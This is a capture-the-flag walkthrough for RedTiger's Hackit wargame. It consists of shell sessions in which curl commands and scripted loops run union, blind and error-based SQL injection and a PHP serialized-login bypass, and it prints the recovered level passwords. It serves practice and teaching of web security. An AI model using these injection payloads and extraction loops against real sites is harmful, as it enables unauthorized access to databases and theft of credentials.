# RedTigers Hackit wargame: Level 10

# curl --silent --insecure --cookie-jar level10 --cookie level10 --request POST --data "password=646f6e745f7468726f775f73746f6e6573&level10login=Login" https://redtiger.dyndns.org/hackit/level10.php
                <b>Welcome to Level 10</b><br><br>
                Target: Bypass the login. Login as TheMaster<br>
                <br><br><br>
                <form method="post">
                        <input type="hidden" name='login' value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9">
                        <input type="submit" value="Login" name="dologin">
                </form>
                <br><br><br>
# echo -n "YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9" | base64 -d; echo
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}
# echo -n 'a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}' | base64
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=
# curl --silent --insecure --cookie level10 --request POST --data "login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login" https://redtiger.dyndns.org/hackit/level10.php | grep is:
<br><br>The password for the hall of fame is: <b>796f75536c76645465684861636b6974477261747a</b> <br><br>

# RedTigers Hackit wargame: Level 9

# curl --silent --insecure --cookie-jar level9 --cookie level9 --request POST --data "password=736c61705f7468655f6c616d65727a&level9login=Login" https://redtiger.dyndns.org/hackit/level9.php
                <b>Welcome to Level 9</b><br><br>
                Target: Get username and password of any user. Tablename: level9_users<br>
                Its not a blind. There is a way to get an output :) <br>
                <br><br>
        Autor: RedTiger <br>Title: Lorem ipsum <br>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. <br><br>                     <form method="POST">
                                Name: <input type="text" name="autor"> <br>
                                Title: <input type="text" name="title"><br>
                                <textarea name="text"></textarea>
                                <input type="submit" name="post">
                        </form>
                                <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# for i in {1..13};  do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(username, $[14-$i]))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
546865426c7565466c6f776572
# for i in {1..145}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(password,$[146-$i]))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
212f666c6f776572706f77657228293d25643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f7537333439353833373439353837342425c2a72526c2a72426c2a724252621c2a72425444653414446415344465344313334353334353132333472356173644651574525c2a7242644466173646661733233343536
# for i in {1..13};  do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(reverse(right(reverse(username),$i)),1))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
546865426c7565466c6f776572
# for i in {1..145}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(reverse(right(reverse(password),$i)),1))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
212f666c6f776572706f77657228293d25643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f7537333439353833373439353837342425c2a72526c2a72426c2a724252621c2a72425444653414446415344465344313334353334353132333472356173644651574525c2a7242644466173646661733233343536
# curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='),((select username from level9_users limit 1),(select password from level9_users limit 1),'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | sed 's/<br>/\n/g' | grep -A 1 Autor
Autor: RedTiger
Title: Lorem ipsum
--
Autor:
Title:
--
Autor: 546865426c7565466c6f776572
Title: 212f666c6f776572706f77657228293d25643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f7537333439353833373439353837342425c2a72526c2a72426c2a724252621c2a72425444653414446415344465344313334353334353132333472356173644651574525c2a7242644466173646661733233343536
# curl --silent --insecure --cookie level9 --request POST --data "user=546865426c7565466c6f776572&password=253231253246666c6f776572703239253344253235643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f753733343935383337343935383734253234253235254137253235253236254137253234253236254137253234253235253236253231254137253234253235444653414446415344465344313334353334353132333472356173644651574525323525413725323425323644466173646661733233343536&login=Login" https://redtiger.dyndns.org/hackit/level9.php | grep is:
<br>The password for the next level is: <b>646f6e745f7468726f775f73746f6e6573</b> <br><br>

# RedTigers Hackit wargame: Level 8

# curl --silent --insecure --cookie-jar level8 --cookie level8 --request POST --data "password=4d4f4f636f774d454f57636174&level8login=Login" https://redtiger.dyndns.org/hackit/level8.php
                <b>Welcome to Level 8</b><br><br>
                Target: Get the password of the admin.<br><br><br>

                Username: Admin<br>
                <form method="POST">
                        Email: <input type="text" name="email" value="hans@localhost"> <br>
                        Name: <input type="text" name="name" value="Hans"> <br>
                        ICQ: <input type="text" name="icq" value="12345"> <br>
                        Age: <input type="text" name="age" value="25"> <br>
                        <input type="submit" name="edit" value="Edit">
                </form>
                                <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# for i in `seq 1 20`; do email="' or length(password)='$i"; result=`curl --silent --insecure --cookie level8 --request POST --data "email=$email&edit=Edit" https://redtiger.dyndns.org/hackit/level8.php | grep email | grep 1`; if [ "$result" != "" ]; then echo $i; break; fi; done
18
# for i in `seq 1 18`; do for j in `echo {a..z} {0..9}`; do email="' or left(right(password,$[19-$i]),1)='$j"; result=`curl --silent --insecure --cookie level8 --request POST --data "email=$email&edit=Edit" https://redtiger.dyndns.org/hackit/level8.php | grep email | grep 1`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo
7468656d65616e696e676f666c6966653432
# curl --silent --insecure --cookie level8 --request POST --data "user=Admin&password=7468656d65616e696e676f666c6966653432&login=Login" https://redtiger.dyndns.org/hackit/level8.php | grep is:
<br>The password for the next level is: <b>736c61705f7468655f6c616d65727a</b> <br><br>

# RedTigers Hackit wargame: Level 7

# curl --silent --insecure --cookie-jar level7 --cookie level7 --request POST --data "password=646f6e745f73686f75745f61745f796f75725f6469736b73&level7login=Login" https://redtiger.dyndns.org/hackit/level7.php
                <b>Welcome to Level 7</b><br><br>
                Target: Get the name of the user who posted the news about google. Table: level7_news column: autor<br>
                Restrictions: no comments, no substr, no substring, no ascii, no mid, no like<br>
                <br><br><br> <form method="post"> <input type="text" name="search" value=""> <input type="submit" value="search!" name="dosearch"> </form> <br><br><br>
                                <br>
                        <form method="post">
                                Username: <input type="text" name="username"><br>
                                <input type="submit" name="try" value="Check!">
                        </form>
                        <br>
# for i in `seq 1 17`; do for j in `echo {A..Z} {a..z} {0..9}`; do d=`printf "%d\n" \'$j`; search="Google%' and ord(left(right(news.autor,$[18-$i]),1))=$d and '%'='"; result=`curl --silent --insecure --cookie level7 --request POST --data "search=$search&dosearch=search\!" https://redtiger.dyndns.org/hackit/level7.php | grep -v "<input" | grep Google`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo
5465737455736572666f72673030676c65
# curl --silent --insecure --cookie level7 --request POST --data "username=5465737455736572666f72673030676c65&try=Check\!" https://redtiger.dyndns.org/hackit/level7.php | grep is:
<br>The password for the next level is: <b>4d4f4f636f774d454f57636174</b> <br><br>

# RedTigers Hackit wargame: Level 6

# curl --silent --insecure --cookie-jar level6 --cookie level6 --request POST --data "password=6d795f6361745f736179735f6d656f776d656f77&level6login=Login" https://redtiger.dyndns.org/hackit/level6.php
                <b>Welcome to Level 6</b><br><br>
                Target: Get the first user in table level6_users with status 1<br>
                <br><br><br> <a href="?user=1">Click me</a><br><br><br>
                                <table style="border-collapse:collapse; border:1px solid black;">
                                <tr>
                                        <td>Username: </td>
                                        <td>deddlef</td>
                                </tr>
                                <tr>
                                        <td>Email: </td>
                                        <td>[email protected]</td>
                                </tr>
                        </table>

                                        <br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# for i in `seq 1 30`; do echo $i; result=`curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=0%20or%20if((select%20length(password)%20from%20level6_users%20where%20id=3)=$i,true,false)" | grep deddlef`; if [ "$result" != "" ]; then break; fi; done
1
2
3
4
5
6
7
8
9
10
11
# for i in `seq 1 11`; do for j in `echo {a..z} {0..9}`; do d=` printf "%d\n" \'$j`; result=`curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=0%20or%20if((select%20ord(left(right(password,$[12-$i]),1))%20from%20level6_users%20where%20id=3)=$d,true,false)" | grep deddlef`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo
6d306e737465726b316c6c
# query2="`echo -n "' union select id,username,email,password,status from level6_users where status=1 limit 1 -- " | xxd -p | tr -d '\n'`"
# query1="`echo -n \"0 union select 1,0x$query2,3,4,5\" | sed 's/ /%20/g'`"
# curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=$query1" | grep -A 1 -e ">Username" -e Email
                                        <td>Username: </td>
                                        <td>admin</td>
--
                                        <td>Email: </td>
                                        <td>6d306e737465726b316c6c</td>
# curl --silent --insecure --cookie level6 --request POST --data "user=admin&password=6d306e737465726b316c6c&login=Login" https://redtiger.dyndns.org/hackit/level6.php | grep is:
<br>The password for the next level is: <b>646f6e745f73686f75745f61745f796f75725f6469736b73</b> <br><br>

# RedTigers Hackit wargame: Level 5

# curl --silent --insecure --cookie-jar level5 --cookie level5 --request POST --data "password=62616e616e61735f6172655f6e6f745f626c7565&level5login=Login" https://redtiger.dyndns.org/hackit/level5.php
                <b>Welcome to Level 5</b><br><br>
                Target: Bypass the login<br>
                Disabled: substring , substr, ( , ), mid<br>
                Hints: its not a blind, the password is md5-crypted, watch the login errors<br><br><br>

                        <form name="login" action="?mode=login" method="POST">
                                Username: <input name="username" size="30" type="text"><br>
                                Password: <input name="password" size="30" type="text">
                                <br>
                                <input name="login" value="Login" type="submit">
                        </form>
# password="whatever"
# echo -n $password | md5sum
008c5926ca861023c1d2a36653fd88e2  -
# username="' union select 'user','008c5926ca861023c1d2a36653fd88e2"
# curl --silent --insecure --cookie level5 --request POST --data "username=$username&password=$password&login=Login" https://redtiger.dyndns.org/hackit/level5.php?mode=login | grep is:
<br>The password for the next level is: <b>6d795f6361745f736179735f6d656f776d656f77</b> <br><br>

# RedTigers Hackit wargame: Level 4

# curl --silent --insecure --cookie-jar level4 --cookie level4 --request POST --data "password=646f6e745f7075626c6973685f736f6c7574696f6e735f41524748&level4login=Login" https://redtiger.dyndns.org/hackit/level4.php
                <b>Welcome to Level 4</b><br><br>
                Target: Get the value of the first entry in table level4_secret in column keyword<br>
                Disabled: like<br><br><br> <a href="?id=1">Click me</a><br><br><br>
        Query returned 1 rows. <br /><br />                     <br><br><br>
                        <form method="post">
                                Word: <input type="text" name="secretword"><br>
                                <input type="submit" name="go" value="Go!">
                        </form>
                        <br>
# for i in `seq 1 50`; do echo $i; result=`curl --silent --insecure --cookie level4 "https://redtiger.dyndns.org/hackit/level4.php?id=1%20and%20if((select%20length(keyword)%20from%20level4_secret)=$i,1,0)" | grep Query | awk '{print $3}'`; if [ "$result" == "1" ]; then break; fi; done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# for i in `seq 1 17`; do for j in `echo {a..z} {0..9}`; do result=`curl --silent --insecure --cookie level4 "https://redtiger.dyndns.org/hackit/level4.php?id=1%20and%20if((select%20substring(keyword,$i,1)%20from%20level4_secret)='$j',1,0)" | grep Query | awk '{print $3}'`; if [ "$result" == "1" ]; then echo -n "$j"; break; fi; done; done; echo
626c696e64696e6a656374696f6e313233
# curl --silent --insecure --cookie-jar level4 --cookie level4 --request POST --data 'secretword=626c696e64696e6a656374696f6e313233&go=Go!' https://redtiger.dyndns.org/hackit/level4.php | grep is:
<br>The password for the next level is: <b>62616e616e61735f6172655f6e6f745f626c7565</b> <br><br>

# RedTigers Hackit wargame: Level 3

# curl --silent --insecure --cookie-jar level3 --cookie level3 --request POST --data "password=73656375726974796d656f775f736179735f636174&level3login=Login" https://redtiger.dyndns.org/hackit/level3.php
                <b>Welcome to Level 3</b><br> <br>
                Target: Get the password of the user Admin.<br>
                Hint: Try to get an error. Tablename: level3_users<br><br><br>

        Show userdetails: <br><a href="?usr=MTQ4MTY4MTY1MTMxMTc1MTgz">TheCow</a><br><a href="?usr=MTI5MTY0MTczMTY5MTc0">Admin</a><br>                   <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# curl --silent --insecure --cookie level3 "https://redtiger.dyndns.org/hackit/level3.php?usr\[\]=" | grep Warning
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21
# curl --silent --insecure --output urlcrypt.inc https://redtiger.dyndns.org/hackit/urlcrypt.inc
# cat myurlcrypt.inc
#!/usr/bin/php
<?php
 function encrypt($str) {
  $cryptedstr = "";
  for ($i =0; $i < strlen($str); $i++){
   $temp = ord(substr($str,$i,1)) ^ 192;
   while(strlen($temp)<3){
    $temp = "0".$temp;
   }
   $cryptedstr .= $temp. "";
  }
  return base64_encode($cryptedstr);
 }
 echo encrypt($argv[1])."\n";
?>
# ./myurlcrypt.inc "' union select 1,2,3,4,5,6,7 -- "
MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MjM3MjM3MjI0
# curl --silent --insecure --cookie level3 https://redtiger.dyndns.org/hackit/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MjM3MjM3MjI0
                <b>Welcome to Level 3</b><br> <br>
                Target: Get the password of the user Admin.<br>
                Hint: Try to get an error. Tablename: level3_users<br><br><br>

        Show userdetails: <br>                          <table style="border-collapse:collapse; border:1px solid black;">
                                        <tr>
                                                <td>Username: </td>
                                                <td>2</td>
                                        </tr>
                                        <tr>
                                                <td>First name: </td>
                                                <td>6</td>
                                        </tr>
                                        <tr>
                                                <td>Name: </td>
                                                <td>7</td>
                                        </tr>
                                        <tr>
                                                <td>ICQ: </td>
                                                <td>5</td>
                                        </tr>
                                        <tr>
                                                <td>Email: </td>
                                                <td>4</td>
                                        </tr>
                                </table>

                                                <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# ./myurlcrypt.inc "' union select 1,2,3,password,username,6,7 from level3_users where username='Admin' -- "
MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjI0MjM3MjM3MjI0
# curl --silent --insecure --cookie level3 https://redtiger.dyndns.org/hackit/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjI0MjM3MjM3MjI0 | grep -A 1 -e ICQ -e Email
                                                <td>ICQ: </td>
                                                <td>Admin</td>
--
                                                <td>Email: </td>
                                                <td>746869736973617665727973656375726570617373776f7264454545357274</td>
# curl --silent --insecure --cookie level3 --request POST --data "user=Admin&password=746869736973617665727973656375726570617373776f7264454545357274&login=Login" https://redtiger.dyndns.org/hackit/level3.php | grep is:
<br>The password for the next level is: <b>646f6e745f7075626c6973685f736f6c7574696f6e735f41524748</b> <br><br>

# RedTigers Hackit wargame: Level 2

# curl --silent --insecure --cookie-jar level2 --cookie level2 --request POST --data "password=656173796c6576656c7361726565617379&level2login=Login" https://redtiger.dyndns.org/hackit/level2.php
<b>Welcome to level 2</b>
<br><br>
A simple loginbypass
<br><br>
Target: Login
<br>
Hint: Condition
<br><br><br>

<form method="POST">
        Username: <input type="text" name="username"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" name="login" value="Login">
</form>
# curl --silent --insecure --cookie level2 --request POST --data "username=' or 'u'='u&password=' or 'p'='p&login=Login" https://redtiger.dyndns.org/hackit/level2.php | grep is:
<br>The password for the next level is: <b>73656375726974796d656f775f736179735f636174</b> <br><br>

# RedTigers Hackit wargame: Level 1

# curl --silent --insecure https://redtiger.dyndns.org/hackit/level1.php
<b>Welcome to level 1</b>
<br><br>
Lets start with a simple injection.
<br><br>
Target: Get the login for the user Hornoxe
<br>
Hint: You really need one? omg -_-
<br>
Tablename: level1_users
<br><br><br>


<br>Category: <a href="?cat=1">1</a><br><br>This category does not exist! <br>                  <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# curl --silent --insecure "https://redtiger.dyndns.org/hackit/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users" | grep ">Hornoxe" | awk -F "<br>" '{print $4}'
7468617477617365617379
# curl --silent --insecure --request POST --data "user=Hornoxe&password=7468617477617365617379&login=Login" https://redtiger.dyndns.org/hackit/level1.php | grep is:
<br>The password for the next level is: <b>656173796c6576656c7361726565617379</b> <br><br>